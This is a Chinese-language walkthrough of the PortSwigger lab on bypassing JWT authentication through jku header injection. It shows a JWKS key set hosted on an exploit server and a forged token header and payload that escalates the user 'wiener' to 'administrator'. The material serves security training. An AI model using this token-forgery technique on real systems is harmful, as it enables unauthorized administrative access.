从业者-jku标头注入
# 实验室:通过jku标头注入绕过JWT身份验证
# 题目
此实验室使用基于 JWT 的机制来处理会话。服务器支持 JWT 标头中的jku
参数,但在得到密钥之前,服务器无法检查所提供的 URL 是否属于受信任的域。
若要解决实验室问题,请伪造一个 JWT,然后访问位于/admin
的管理面板并删除carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
。
提示
在尝试此实验之前,我们建议你先熟悉一下如何在 BurpSuite 中使用 JWTs (opens new window)。
- name: 实验室-从业者
desc: 通过jku标头注入绕过JWT身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
# 生成自己的RSA密钥对,将 jku 数据部署到漏洞利用服务器上
Content-Type: application/json
1
{
"keys": [
// 你所复制的 keys 参数
]
}
1
2
3
4
5
2
3
4
5
# 添加jku参数并篡改JWTs信息,然后重新签名
修改前:
{
"kid": "6b560c0d-d600-4ebc-b0a8-89392a08730d",
"alg": "RS256"
}
{
"iss": "portswigger",
"exp": 1708255389,
"sub": "wiener"
}
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
修改后:
- 修改
kid
- 添加
jku
- 将
wiener
修改为administrator
{
"kid": "9b8d1008-8714-49f1-866f-112362de9ef0",
"alg": "RS256",
"jku": "https://<漏洞利用服务器>/exploit"
}
{
"iss": "portswigger",
"exp": 1708255389,
"sub": "administrator"
}
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
重新签名:
编辑 (opens new window)